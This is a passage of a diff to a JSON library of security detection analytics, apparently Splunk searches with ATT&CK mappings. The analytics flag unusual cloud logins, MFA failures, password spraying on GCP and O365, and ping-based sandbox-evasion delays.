userCountry=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Country\",\"Previously Seen Country\") | where userCountry = \"New Country\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCountry justSeenCountry userCountry | `detect_aws_console_login_by_user_from_new_country_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Country $Country$ for the first time", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Region", - "description": "The following analytic identifies AWS console login attempts by users from a new region. It leverages AWS CloudTrail events and compares current login regions against a baseline of previously seen regions for each user. This activity is significant as it may indicate unauthorized access attempts or compromised credentials. If confirmed malicious, an attacker could gain unauthorized access to AWS resources, potentially leading to data breaches, resource manipulation, or further lateral movement within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Region as justSeenRegion | table firstTime lastTime user justSeenRegion | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Region as previouslySeenRegion | stats min(firstTime) AS earliestseen by user previouslySeenRegion | fields earliestseen user previouslySeenRegion] | eval userRegion=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New Region\",\"Previously Seen Region\") | where userRegion= \"New Region\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenRegion justSeenRegion userRegion | `detect_aws_console_login_by_user_from_new_region_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from Region $Region$ for the first time", - "risk_score": 36, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GCP Authentication Failed During MFA Challenge", - "description": "The following analytic detects failed authentication attempts during the Multi-Factor Authentication (MFA) challenge on a Google Cloud Platform (GCP) tenant. It uses Google Workspace login failure events to identify instances where MFA methods were challenged but not successfully completed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials despite MFA protection. If confirmed malicious, this could lead to unauthorized access attempts, potentially compromising sensitive data and resources within the GCP environment.", - "search": " `gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method | `gcp_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multi-Factor Authentication Disabled", - "description": "The following analytic detects an attempt to disable multi-factor authentication (MFA) for a Google Cloud Platform (GCP) user. It leverages Google Workspace Admin log events, specifically the `UNENROLL_USER_FROM_STRONG_AUTH` command. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised account without raising suspicion. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access, data exfiltration, or further exploitation of the compromised account.", - "search": "`gws_reports_admin` command=UNENROLL_USER_FROM_STRONG_AUTH | stats count min(_time) as firstTime max(_time) as lastTime by user, command, actor.email, status, id.applicationName, event.name, vendor_account, action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "GCP", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "actor.email", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $actor.email$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multiple Failed MFA Requests For User", - "description": "The following analytic detects multiple failed multi-factor authentication (MFA) requests for a single user within a Google Cloud Platform (GCP) tenant. It triggers when 10 or more MFA prompts fail within a 5-minute window, using Google Workspace login failure events. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise accounts and potentially escalate privileges within the GCP environment.", - "search": "`gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | bucket span=5m _time | stats dc(_raw) AS mfa_prompts values(user) AS user by src_ip, login_challenge_method, _time | where mfa_prompts >= 10 | `gcp_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple Failed MFA requests for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP address failing to authenticate into more than 20 unique Google Workspace user accounts within a 5-minute window. It leverages Google Workspace login failure events to identify potential password spraying attacks. This activity is significant as it may indicate an adversary attempting to gain unauthorized access or elevate privileges within the Google Cloud Platform. If confirmed malicious, this behavior could lead to unauthorized access to sensitive resources, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure | bucket span=5m _time | stats count dc(user) AS unique_accounts values(user) as tried_accounts values(authentication_method) AS authentication_method earliest(_time) as firstTime latest(_time) as lastTime by _time event.name src app id.applicationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_accounts > 20 | `gcp_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple failed login attempts (Count: $unique_accounts$) against users seen from $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Google Cloud Platform (GCP) for an account without Multi-Factor Authentication (MFA) enabled. It uses Google Workspace login event data to detect instances where MFA is not utilized. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to GCP resources, potentially leading to data breaches, service disruptions, or further exploitation within the cloud environment.", - "search": "`gws_reports_login` event.name=login_success NOT `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method, app, event.name, vendor_account, action |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into Google Workspace with multiple valid users, potentially indicating a Password Spraying attack. It uses Google Workspace login failure events and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure| bucket span=5m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts values(authentication_method) AS authentication_method by _time, src | eventstats avg(unique_accounts) as ip_avg , stdev(unique_accounts) as ip_std by _time | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | where isOutlier =1| `gcp_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multi-Source Failed Authentications Spike", - "description": "The following analytic identifies a spike in failed authentication attempts within an Office 365 environment, indicative of a potential distributed password spraying attack. It leverages UserLoginFailed events from O365 Management Activity logs, focusing on ErrorNumber 50126. This detection is significant as it highlights attempts to bypass security controls using multiple IP addresses and user agents. If confirmed malicious, this activity could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization. Early detection is crucial to prevent account takeovers and mitigate subsequent threats.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents by _time | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 | `o365_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts fail to authenticate from a single IP address within a 5-minute window. This detection leverages O365 audit logs, specifically Azure Active Directory login failures (AzureActiveDirectoryStsLogon). Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to breach security by targeting multiple accounts, potentially leading to unauthorized access. Immediate action is required to block or monitor the suspicious IP and notify affected users to enhance their security measures.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | stats dc(user) as unique_accounts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where unique_accounts > 10 | `o365_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 20 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } } ], "external_reference": [], @@ -452320,344 +310582,169 @@ "ATT&CK", "CTID" ], - "data_component": "process creation", - "type": "activity", - "description": "A process was created.", - "source_data_element": "process", - "relationship": "created", - "target_data_element": "thread", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ] - }, - { - "technique_id": "T1497", - "technique": "Virtualization/Sandbox Evasion", - "tactic": [ - "defense-evasion", - "discovery" - ], - "platform": [ - "Windows", - "macOS", - "Linux" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1497", - "technique": "Virtualization/Sandbox Evasion", - "tactic": [ - "defense-evasion", - "discovery" - ], - "platform": [ - "Windows", - "macOS", - "Linux" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1497", - "technique": "Virtualization/Sandbox Evasion", - "tactic": [ - "defense-evasion", - "discovery" - ], - "platform": [ - "Windows", - "macOS", - "Linux" - ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "os api execution", - "type": "activity", - "description": "A process executed operating system api functions.", - "source_data_element": "process", - "relationship": "executed", - "target_data_element": "api call", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ] - }, - { - "technique_id": "T1497", - "technique": "Virtualization/Sandbox Evasion", - "tactic": [ - "defense-evasion", - "discovery" - ], - "platform": [ - "Windows", - "macOS", - "Linux" - ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "os api execution", + "data_component": "process creation", "type": "activity", - "description": "A process executed operating system api functions.", + "description": "A process was created.", "source_data_element": "process", - "relationship": "executed", - "target_data_element": "system call", + "relationship": "created", + "target_data_element": "thread", "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] }, { - "name": "Ping Sleep Batch Command", - "description": "The following analytic identifies the execution of ping sleep batch commands. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process command-line details. This activity is significant as it indicates an attempt to delay malicious code execution, potentially evading detection or sandbox analysis. If confirmed malicious, this technique allows attackers to bypass security measures, making it harder to detect and analyze their activities, thereby increasing the risk of prolonged unauthorized access and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_ping` (Processes.parent_process = \"*ping*\" Processes.parent_process = *-n* Processes.parent_process=\"* Nul*\"Processes.parent_process=\"*>*\") OR (Processes.process = \"*ping*\" Processes.process = *-n* Processes.process=\"* Nul*\"Processes.process=\"*>*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `ping_sleep_batch_command_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Data Destruction", - "Warzone RAT", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious $process$ commandline run in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - }, - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": 